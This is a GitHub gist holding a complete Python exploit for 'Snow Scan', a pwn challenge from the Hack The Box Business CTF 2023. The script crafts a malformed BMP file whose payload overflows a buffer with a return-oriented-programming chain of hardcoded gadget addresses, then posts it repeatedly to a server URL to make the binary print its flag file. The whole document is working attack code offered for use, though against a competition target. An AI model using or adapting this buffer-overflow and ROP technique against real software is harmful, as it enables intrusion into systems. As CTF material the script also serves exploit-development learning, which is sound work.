-
-
Save mspraggs/4dec65f913fc75b9c33c50fd3e01046e to your computer and use it in GitHub Desktop.
HTB Business CTF 2023 Snow Scan Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
Exploit for Snow Scan, a pwn challenge in the Hack The Box Business CTF 2023. | |
Full write-up here: https://mattspraggs.co.uk/hack-the-box-snow-scan.html | |
""" | |
import argparse | |
import io | |
from typing import Optional | |
from pwn import ELF, context, flat | |
import requests | |
BMP_SIGNATURE = b'BM' | |
FILE_SIZE = 0 | |
RESERVED = 0 | |
DATA_OFFSET = 54 | |
HEADER_SIZE = 0 | |
WIDTH = 20 # ADJUST THE WIDTH WITHIN THE ACCEPTABLE RANGE | |
HEIGHT = 20 # ADJUST THE HEIGHT WITHIN THE ACCEPTABLE RANGE | |
COLOR_PLANES = 0 | |
BITS_PER_PIXEL = 0 | |
COMPRESSION = 0 | |
IMAGE_SIZE = 400 | |
HORIZONTAL_RESOLUTION = 0 | |
VERTICAL_RESOLUTION = 0 | |
NUM_COLORS = 0 | |
IMPORTANT_COLORS = 0 | |
BMP_HEADER = ( | |
BMP_SIGNATURE + | |
FILE_SIZE.to_bytes(4, 'little') + | |
RESERVED.to_bytes(4, 'little') + | |
DATA_OFFSET.to_bytes(4, 'little') + | |
HEADER_SIZE.to_bytes(4, 'little') + | |
WIDTH.to_bytes(4, 'little') + | |
HEIGHT.to_bytes(4, 'little') + | |
COLOR_PLANES.to_bytes(2, 'little') + | |
BITS_PER_PIXEL.to_bytes(2, 'little') + | |
COMPRESSION.to_bytes(4, 'little') + | |
IMAGE_SIZE.to_bytes(4, 'little') + | |
HORIZONTAL_RESOLUTION.to_bytes(4, 'little') + | |
VERTICAL_RESOLUTION.to_bytes(4, 'little') + | |
NUM_COLORS.to_bytes(4, 'little') + | |
IMPORTANT_COLORS.to_bytes(4, 'little') | |
) | |
def generate_bmp_payload(print_file_addr: int) -> bytes: | |
""" | |
Returns BMP bytes that overwrite the Snow Scan destination buffer. | |
Args: | |
print_file_addr (int): Address of the printFile function within the | |
binary. | |
Returns: | |
bytes: A sequence of BMP bytes that will overflow the destination buffer | |
in the snowscan binary. | |
""" | |
# Gadgets: | |
pop_rax = 0x4522e7 # pop rax; ret; | |
pop_rbp = 0x41aa18 # mov eax, 0xffffffff ; pop rbx ; pop rbp ; ret | |
push_rsp = 0x4247aa # push rsp ; and al, 0x18 ; mov qword ptr [rsp + 0x10], r8 ; call rax | |
mov_rax_rbp = 0x491652 # mov rax, rbp ; pop rbx ; pop rbp ; ret | |
pop_rdi = 0x401a72 # pop rdi; ret; | |
lea_rax = 0x431e83 # lea rax, [rax + rdi + 0x20] ; ret | |
push_rax = 0x456805 # push rax ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; ret | |
mov_rdi_rbx = 0x458224 # mov rdi, rbx ; call r12 | |
ret = 0x40101a # ret; | |
flag_val = b'flag.txt\x00' | |
buf_off = 432 # Offset of pointer to start of buffer. | |
buf_byte = b'\xc7' | |
ret_off = buf_off + 1#57 | |
delta_rsp = -0x235 | |
padding = 0xdeadbeef | |
# Effective assembly from ROP chain: | |
# 0x4522e7 : pop rax ; Puts 0x41aa18 into rax | |
# [ret] ; Return to 0x4247aa | |
# 0x4247aa : push rsp | |
# and al, 0x18 | |
# mov QWORD PTR [rsp+0x10], r8 | |
# [call rax] ; Call 0x41aa18 | |
# 0x41aa18 : mov eax, 0xffffffff | |
# pop rbx | |
# pop rbp | |
# [ret] ; Return to 0x491652 | |
# 0x491652 : mov rax, rbp | |
# pop rbx | |
# pop rbp | |
# [ret] ; Return to 0x401a72 | |
# 0x401a72 : pop rdi ; Puts -0x235 into rdi | |
# [ret] ; Return to 0x431e83 | |
# 0x431e83 : lea rax, [rax+rdi*1+0x20] ; Offset rax to point at flag | |
# [ret] ; Return to 0x456805 | |
# 0x456805 : push rax | |
# pop rbx ; We've moved rax into rbx | |
# pop rbp | |
# pop r12 ; Puts printFile into r12 | |
# pop r13 | |
# pop r14 | |
# [ret] ; Return 0x458224 | |
# 0x458224 : mov rdi, rbx ; Moves pointer to "flag.txt" into rdi | |
# call r12 ; Calls printFile | |
payload = flat( | |
{ | |
buf_off: buf_byte, | |
ret_off: [ | |
pop_rax, | |
pop_rbp, | |
push_rsp, | |
mov_rax_rbp, | |
padding, | |
padding, | |
pop_rdi, | |
delta_rsp, | |
lea_rax, | |
push_rax, | |
padding, | |
print_file_addr, | |
padding, | |
padding, | |
mov_rdi_rbx, | |
], | |
}, | |
filler=flag_val, | |
) | |
return BMP_HEADER + payload | |
def run_exploit(url: str, bmp_payload: bytes, max_tries: int) -> Optional[str]: | |
""" | |
Uses the provided BMP payload to exploit Snow Scan at the provided URL. | |
Args: | |
url (str): The URL to run the exploit against. | |
bmp_payload (bytes): The exploit payload. | |
max_tries (int): The maximum number of exploitation attempts before giving | |
up. | |
Returns: | |
str: The flag. | |
""" | |
for _ in range(max_tries): | |
resp = requests.post( | |
url, | |
files={"file": ("exploit.bmp", bmp_payload)}, | |
) | |
flag_pos = resp.text.find("HTB") | |
if flag_pos > -1: | |
return resp.text[flag_pos:].strip() | |
if __name__=='__main__': | |
parser = argparse.ArgumentParser(description="Snow Scan exploit") | |
parser.add_argument( | |
"-e", | |
"--elf_path", | |
type=str, | |
help="Path to the snowscan binary.", | |
required=True, | |
) | |
parser.add_argument( | |
"-b", | |
"--bmp_path", | |
type=str, | |
help="Path to the file to which to write the BMP payload.", | |
) | |
parser.add_argument( | |
"-u", | |
"--url", | |
type=str, | |
help="URL of the server to run the exploit against.", | |
) | |
parser.add_argument( | |
"-c", | |
"--max_tries", | |
type=int, | |
help="Number of exploitation attempts before giving up.", | |
default=100, | |
) | |
args = parser.parse_args() | |
if not args.bmp_path and not args.url: | |
parser.error("at least one of -b/--bmp_path and -u/--url required") | |
elf = context.binary = ELF(args.elf_path) | |
bmp_payload = generate_bmp_payload(elf.sym.printFile) | |
if args.bmp_path: | |
with open(args.bmp_path, 'wb') as f: | |
f.write(bmp_payload) | |
print(f"Wrote {len(bmp_payload)} bytes to file {args.bmp_path}") | |
if args.url: | |
flag = run_exploit(args.url, bmp_payload, args.max_tries) | |
if flag: | |
print(f"Flag: {flag}") | |
else: | |
print("Max retries reached!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment